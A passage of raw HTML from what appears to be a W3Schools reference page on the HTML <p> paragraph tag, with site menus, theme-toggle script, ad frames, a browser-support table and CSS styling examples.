class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="/quiztest/default.asp">Quizzes</a></h3> <a class="w3-bar-item w3-button" href="/html/html_quiz.asp" target="_top">HTML Quiz</a> <a class="w3-bar-item w3-button" href="/css/css_quiz.asp" target="_top">CSS Quiz</a> <a class="w3-bar-item w3-button" href="/js/js_quiz.asp" target="_top">JavaScript Quiz</a> <a class="w3-bar-item w3-button" href="/sql/sql_quiz.asp" target="_top">SQL Quiz</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_quiz.asp" target="_top">MySQL Quiz</a> <a class="w3-bar-item w3-button" href="/php/php_quiz.asp" target="_top">PHP Quiz</a> <a class="w3-bar-item w3-button" href="/python/python_quiz.asp" target="_top">Python Quiz</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_quiz.asp" target="_top">NumPy Quiz</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_quiz.asp" target="_top">Pandas Quiz</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_quiz.php" target="_top">SciPy Quiz</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_quiz.asp" target="_top">jQuery Quiz</a> <a class="w3-bar-item w3-button" href="/java/java_quiz.asp" target="_top">Java Quiz</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_quiz.asp" target="_top">C++ Quiz</a> <a class="w3-bar-item w3-button" href="/cs/cs_quiz.asp" target="_top">C# Quiz</a> <a class="w3-bar-item w3-button" href="/r/r_quiz.asp" target="_top">R Quiz</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_quiz.php" target="_top">Kotlin Quiz</a> <a class="w3-bar-item w3-button" href="/xml/xml_quiz.asp" target="_top">XML Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_quiz.asp" target="_top">Bootstrap Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_quiz.asp" target="_top">Bootstrap 4 Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_quiz.php" target="_top">Bootstrap 5 Quiz</a> <a class="w3-bar-item w3-button" href="/cybersecurity/cybersecurity_quiz.php">Cyber Security Quiz</a> <a class="w3-bar-item w3-button" href="/accessibility/accessibility_quiz.php">Accessibility Quiz</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="https://courses.w3schools.com/" target="_blank">Courses</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/html" target="_blank">HTML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/css" target="_blank">CSS Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/javascript" target="_blank">JavaScript Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/front-end" target="_blank">Front End Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/sql" target="_blank">SQL Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/php" target="_blank">PHP Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/python" target="_blank">Python Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/numpy-fundamentals" target="_blank">NumPy Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/pandas-fundamentals" target="_blank">Pandas Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/data-analytics" target="_blank">Data Analytics Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/jquery" target="_blank">jQuery Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/java" target="_blank">Java Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/cplusplus" target="_blank">C++ Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/c-sharp" target="_blank">C# Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/r-fundamentals" target="_blank">R Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/xml" target="_blank">XML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/introduction-to-cyber-security" target="_blank">Cyber Security Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/accessibility-fundamentals" target="_blank">Accessibility Course</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:150px;font-size:21px" href="https://courses.w3schools.com/browse/certifications" target="_blank">Certificates</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/html-certification-exam" target="_blank">HTML Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/css-certification-exam" target="_blank">CSS Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/javascript-certification-exam" target="_blank">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/front-end-certification-exam" target="_blank">Front End Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/sql-certification-exam" target="_blank">SQL Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/php-certification-exam" target="_blank">PHP Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/python-certificaftion-exam" target="_blank">Python Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/data-science-certification-exam" target="_blank">Data Science Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-3-certification-exam" target="_blank">Bootstrap 3 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-4-certification-exam" target="_blank">Bootstrap 4 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/jquery-certification-exam" target="_blank">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/java-certification-exam" target="_blank">Java Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/c-certification-exam" target="_blank">C++ Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/react-certification-exam" target="_blank">React Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/xml-certification-exam" target="_blank">XML Certificate</a> </div> </div> <br class="hidesm"> </div> </nav> </div> </div> <div id="myAccordion" class="w3-card-2 w3-center w3-hide-large w3-hide-medium ws-grey" style="width: 100%; position: absolute; display: none; padding-top: 44px;"> <a href="javascript:void(0)" onclick="w3_close()" class="w3-button w3-xxlarge w3-right">×</a><br> <div class="w3-container w3-padding-32"> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('tutorials');" href="javascript:void(0);">Tutorials <i class="fa fa-caret-down"></i></a> <div id="sectionxs_tutorials" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('references')" href="javascript:void(0);">References <i class="fa fa-caret-down"></i></a> <div id="sectionxs_references" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('exercises')" href="javascript:void(0);">Exercises <i class="fa fa-caret-down"></i></a> <div id="sectionxs_exercises" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" href="/cert/default.asp" target="_blank">Paid Courses</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Spaces</a> <a class="w3-button w3-block" style="font-size:22px;" target="_blank" href="https://www.w3schools.com/videos/index.php" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')" title="Video Tutorials">Videos</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://shop.w3schools.com" target="_blank">Shop</a> <a class="w3-button w3-block" style="font-size:22px;" href="/pro/index.php">Pro</a> </div> </div> <script> ( function setThemeCheckboxes() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.getElementById("radio_darkcode").checked = true; } if (y == "dark") { document.getElementById("radio_darkpage").checked = true; } })(); function mouseoverdarkicon() { if(window.matchMedia("(pointer: coarse)").matches) { return false; } var a = document.getElementById("darkmodemenu"); a.style.top = "44px"; } function mouseoutofdarkicon() { var a = document.getElementById("darkmodemenu"); a.style.top = "-40px"; } function changepagetheme(n) { var a = document.getElementById("radio_darkcode"); var b = document.getElementById("radio_darkpage"); document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); if (a.checked && b.checked) { localStorage.setItem("preferredmode", "light"); localStorage.setItem("preferredpagemode", "light"); a.checked = false; b.checked = false; } else { document.body.className += " darktheme"; document.body.className += " darkpagetheme"; localStorage.setItem("preferredmode", "dark"); localStorage.setItem("preferredpagemode", "dark"); a.checked = true; b.checked = true; } } function click_darkpage() { var b = document.getElementById("radio_darkpage"); if (b.checked) { document.body.className += " darkpagetheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "dark"); } else { document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "light"); } } function click_darkcode() { var a = document.getElementById("radio_darkcode"); if (a.checked) { document.body.className += " darktheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "dark"); } else { document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "light"); } } </script> <div class="w3-sidebar w3-collapse" id="sidenav" style="top: 44px; display: none;"> <div id="leftmenuinner" style="padding-top: 44px;"> <div id="leftmenuinnerinner"> <!-- <a href='javascript:void(0)' onclick='close_menu()' class='w3-button w3-hide-large w3-large w3-display-topright' style='right:16px;padding:3px 12px;font-weight:bold;'>×</a>--> <h2 class="left"><span class="left_h2">HTML</span> Reference</h2> <a target="_top" href="default.asp">HTML by Alphabet</a> <a target="_top" href="ref_byfunc.asp">HTML by Category</a> <a target="_top" href="ref_html_browsersupport.asp">HTML Browser Support</a> <a target="_top" href="ref_attributes.asp">HTML Attributes</a> <a target="_top" href="ref_standardattributes.asp">HTML Global Attributes</a> <a target="_top" href="ref_eventattributes.asp">HTML Events</a> <a target="_top" href="ref_colornames.asp">HTML Colors</a> <a target="_top" href="ref_canvas.asp">HTML Canvas</a> <a target="_top" href="ref_av_dom.asp">HTML Audio/Video</a> <a target="_top" href="ref_charactersets.asp">HTML Character Sets</a> <a target="_top" href="ref_html_dtd.asp">HTML Doctypes</a> <a target="_top" href="ref_urlencode.asp">HTML URL Encode</a> <a target="_top" href="ref_language_codes.asp">HTML Language Codes</a> <a target="_top" href="ref_country_codes.asp">HTML Country Codes</a> <a target="_top" href="ref_httpmessages.asp">HTTP Messages</a> <a target="_top" href="ref_httpmethods.asp">HTTP Methods</a> <a target="_top" href="ref_pxtoemconversion.asp">PX to EM Converter</a> <a target="_top" href="ref_keyboardshortcuts.asp">Keyboard Shortcuts</a> <br> <div class="notranslate"> <h2 class="left"><span class="left_h2">HTML</span> Tags</h2> <a target="_top" href="tag_comment.asp"><!--></a> <a target="_top" href="tag_doctype.asp"><!DOCTYPE></a> <a target="_top" href="tag_a.asp"><a></a> <a target="_top" href="tag_abbr.asp"><abbr></a> <a target="_top" href="tag_acronym.asp"><acronym></a> <a target="_top" href="tag_address.asp"><address></a> <a target="_top" href="tag_applet.asp"><applet></a> <a target="_top" href="tag_area.asp"><area></a> <a target="_top" href="tag_article.asp"><article></a> <a target="_top" href="tag_aside.asp"><aside></a> <a target="_top" href="tag_audio.asp"><audio></a> <a target="_top" href="tag_b.asp"><b></a> <a target="_top" href="tag_base.asp"><base></a> <a target="_top" href="tag_basefont.asp"><basefont></a> <a target="_top" href="tag_bdi.asp"><bdi></a> <a target="_top" href="tag_bdo.asp"><bdo></a> <a target="_top" href="tag_big.asp"><big></a> <a target="_top" href="tag_blockquote.asp"><blockquote></a> <a target="_top" href="tag_body.asp"><body></a> <a target="_top" href="tag_br.asp"><br></a> <a target="_top" href="tag_button.asp"><button></a> <a target="_top" href="tag_canvas.asp"><canvas></a> <a target="_top" href="tag_caption.asp"><caption></a> <a target="_top" href="tag_center.asp"><center></a> <a target="_top" href="tag_cite.asp"><cite></a> <a target="_top" href="tag_code.asp"><code></a> <a target="_top" href="tag_col.asp"><col></a> <a target="_top" href="tag_colgroup.asp"><colgroup></a> <a target="_top" href="tag_data.asp"><data></a> <a target="_top" href="tag_datalist.asp"><datalist></a> <a target="_top" href="tag_dd.asp"><dd></a> <a target="_top" href="tag_del.asp"><del></a> <a target="_top" href="tag_details.asp"><details></a> <a target="_top" href="tag_dfn.asp"><dfn></a> <a target="_top" href="tag_dialog.asp"><dialog></a> <a target="_top" href="tag_dir.asp"><dir></a> <a target="_top" href="tag_div.asp"><div></a> <a target="_top" href="tag_dl.asp"><dl></a> <a target="_top" href="tag_dt.asp"><dt></a> <a target="_top" href="tag_em.asp"><em></a> <a target="_top" href="tag_embed.asp"><embed></a> <a target="_top" href="tag_fieldset.asp"><fieldset></a> <a target="_top" href="tag_figcaption.asp"><figcaption></a> <a target="_top" href="tag_figure.asp"><figure></a> <a target="_top" href="tag_font.asp"><font></a> <a target="_top" href="tag_footer.asp"><footer></a> <a target="_top" href="tag_form.asp"><form></a> <a target="_top" href="tag_frame.asp"><frame></a> <a target="_top" href="tag_frameset.asp"><frameset></a> <a target="_top" href="tag_hn.asp"><h1> - <h6></a> <a target="_top" href="tag_head.asp"><head></a> <a target="_top" href="tag_header.asp"><header></a> <a target="_top" href="tag_hr.asp"><hr></a> <a target="_top" href="tag_html.asp"><html></a> <a target="_top" href="tag_i.asp"><i></a> <a target="_top" href="tag_iframe.asp"><iframe></a> <a target="_top" href="tag_img.asp"><img></a> <a target="_top" href="tag_input.asp"><input></a> <a target="_top" href="tag_ins.asp"><ins></a> <a target="_top" href="tag_kbd.asp"><kbd></a> <a target="_top" href="tag_label.asp"><label></a> <a target="_top" href="tag_legend.asp"><legend></a> <a target="_top" href="tag_li.asp"><li></a> <a target="_top" href="tag_link.asp"><link></a> <a target="_top" href="tag_main.asp"><main></a> <a target="_top" href="tag_map.asp"><map></a> <a target="_top" href="tag_mark.asp"><mark></a> <a target="_top" href="tag_meta.asp"><meta></a> <a target="_top" href="tag_meter.asp"><meter></a> <a target="_top" href="tag_nav.asp"><nav></a> <a target="_top" href="tag_noframes.asp"><noframes></a> <a target="_top" href="tag_noscript.asp"><noscript></a> <a target="_top" href="tag_object.asp"><object></a> <a target="_top" href="tag_ol.asp"><ol></a> <a target="_top" href="tag_optgroup.asp"><optgroup></a> <a target="_top" href="tag_option.asp"><option></a> <a target="_top" href="tag_output.asp"><output></a> <a target="_top" href="tag_p.asp" class="active"><p></a> <a target="_top" href="tag_param.asp"><param></a> <a target="_top" href="tag_picture.asp"><picture></a> <a target="_top" href="tag_pre.asp"><pre></a> <a target="_top" href="tag_progress.asp"><progress></a> <a target="_top" href="tag_q.asp"><q></a> <a target="_top" href="tag_rp.asp"><rp></a> <a target="_top" href="tag_rt.asp"><rt></a> <a target="_top" href="tag_ruby.asp"><ruby></a> <a target="_top" href="tag_s.asp"><s></a> <a target="_top" href="tag_samp.asp"><samp></a> <a target="_top" href="tag_script.asp"><script></a> <a target="_top" href="tag_section.asp"><section></a> <a target="_top" href="tag_select.asp"><select></a> <a target="_top" href="tag_small.asp"><small></a> <a target="_top" href="tag_source.asp"><source></a> <a target="_top" href="tag_span.asp"><span></a> <a target="_top" href="tag_strike.asp"><strike></a> <a target="_top" href="tag_strong.asp"><strong></a> <a target="_top" href="tag_style.asp"><style></a> <a target="_top" href="tag_sub.asp"><sub></a> <a target="_top" href="tag_summary.asp"><summary></a> <a target="_top" href="tag_sup.asp"><sup></a> <a target="_top" href="tag_svg.asp"><svg></a> <a target="_top" href="tag_table.asp"><table></a> <a target="_top" href="tag_tbody.asp"><tbody></a> <a target="_top" href="tag_td.asp"><td></a> <a target="_top" href="tag_template.asp"><template></a> <a target="_top" href="tag_textarea.asp"><textarea></a> <a target="_top" href="tag_tfoot.asp"><tfoot></a> <a target="_top" href="tag_th.asp"><th></a> <a target="_top" href="tag_thead.asp"><thead></a> <a target="_top" href="tag_time.asp"><time></a> <a target="_top" href="tag_title.asp"><title></a> <a target="_top" href="tag_tr.asp"><tr></a> <a target="_top" href="tag_track.asp"><track></a> <a target="_top" href="tag_tt.asp"><tt></a> <a target="_top" href="tag_u.asp"><u></a> <a target="_top" href="tag_ul.asp"><ul></a> <a target="_top" href="tag_var.asp"><var></a> <a target="_top" href="tag_video.asp"><video></a> <a target="_top" href="tag_wbr.asp"><wbr></a> </div> <br><br> </div> </div> </div> <div class="w3-main w3-light-grey" id="belowtopnav" style="margin-left: 220px; padding-top: 44px;"> <div class="w3-row w3-white"> <div class="w3-col l10 m12" id="main"> <div id="mainLeaderboard" style="overflow:hidden;"> <!-- MainLeaderboard--> <!--<pre>main_leaderboard, all: [728,90][970,90][320,50][468,60]</pre>--> <div id="adngin-main_leaderboard-0" data-google-query-id="CJPA_sueqvcCFXiOSwUd2fYBLg"><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" title="3rd party ad content" width="728" height="90" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="7" style="border: 0px; vertical-align: bottom;" data-load-complete="true"><div style="position: absolute; width: 0px; height: 0px; border: 0px; padding: 0px; margin: 0px; overflow: hidden;"><button></button><a href="https://yahoo.com"></a><input></div></iframe></div></div> <!-- adspace leaderboard --> </div> <h1>HTML <span class="color_h1"><p></span> Tag</h1> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <br> <div class="w3-example"> <h3>Example</h3> <p>A paragraph is marked up as follows:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs1" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <p>More "Try it Yourself" examples below.</p> <hr> <h2>Definition and Usage</h2> <p>The <code class="w3-codespan"><p></code> tag defines a paragraph.</p> <p>Browsers automatically add a single blank line before and after each <code class="w3-codespan"><p></code> element.</p> <p><strong>Tip:</strong> Use CSS to <a href="/html/html_css.asp">style paragraphs</a>.</p> <hr> <h2>Browser Support</h2> <table class="browserref notranslate"> <tbody><tr> <th style="width:20%;font-size:16px;text-align:left;">Element</th> <th style="width:16%;" class="bsChrome" title="Chrome"></th> <th style="width:16%;" class="bsEdge" title="Internet Explorer / Edge"></th> <th style="width:16%;" class="bsFirefox" title="Firefox"></th> <th style="width:16%;" class="bsSafari" title="Safari"></th> <th style="width:16%;" class="bsOpera" title="Opera"></th> </tr><tr> <td style="text-align:left;"><p></td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> </tr> </tbody></table> <hr> <h2>Global Attributes</h2> <p>The <code class="w3-codespan"><p></code> tag also supports the <a href="ref_standardattributes.asp">Global Attributes in HTML</a>.</p> <hr> <h2>Event Attributes</h2> <p>The <code class="w3-codespan"><p></code> tag also supports the <a href="ref_eventattributes.asp">Event Attributes in HTML</a>.</p> <hr> <div id="midcontentadcontainer" style="overflow:auto;text-align:center"> <!-- MidContent --> <!-- <p class="adtext">Advertisement</p> --> <div id="adngin-mid_content-0" data-google-query-id="CKfs_8ueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-mid_content-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1__container__" style="border: 0pt none; display: inline-block; width: 300px; height: 250px;"><iframe frameborder="0" src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1" title="3rd party ad content" name="" scrolling="no" marginwidth="0" marginheight="0" width="300" height="250" data-is-safeframe="true" sandbox="allow-forms allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation" role="region" aria-label="Advertisement" tabindex="0" data-google-container-id="8" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> <hr> <h2>More Examples</h2> <div class="w3-example"> <h3>Example</h3> <p>Align text in a paragraph (with CSS):</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="attributecolor" style="color:red"> style<span class="attributevaluecolor" style="color:mediumblue">="text-align:right"</span></span><span class="tagcolor" style="color:mediumblue">></span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_align_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Style paragraphs with CSS:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>html<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>head<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>style<span class="tagcolor" style="color:mediumblue">></span></span><span class="cssselectorcolor" style="color:brown"><br>p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br> color<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> navy<span class="cssdelimitercolor" style="color:black">;</span></span><br> text-indent<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 30px<span class="cssdelimitercolor" style="color:black">;</span></span><br> text-transform<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> uppercase<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span><br></span><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/style<span class="tagcolor" style="color:mediumblue">></span></span><br> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/head<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>body<span class="tagcolor" style="color:mediumblue">></span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/body<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/html<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_style_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p> More on paragraphs:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span><br>This paragraph<br>contains a lot of lines<br>in the source code,<br> but the browser <br>ignores it.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs2" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Poem problems in HTML:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span><br>My Bonnie lies over the ocean.<br>My Bonnie lies over the sea.<br>My Bonnie lies over the ocean.<br>Oh, bring back my Bonnie to me.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_poem" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <hr> <h2>Related Pages</h2> <p>HTML tutorial: <a href="/html/html_paragraphs.asp">HTML Paragraphs</a></p> <p>HTML DOM reference: <a href="/jsref/dom_obj_paragraph.asp">Paragraph Object</a></p> <hr> <h2>Default CSS Settings</h2> <p>Most browsers will display the <code class="w3-codespan"><p></code> element with the following default values:</p> <div class="w3-example"> <h3>Example</h3> <div class="w3-code notranslate cssHigh"><span class="cssselectorcolor" style="color:brown"> p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br> display<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> block<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-top<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-bottom<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-left<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-right<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span> </span></div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_default_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <br> <br> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next 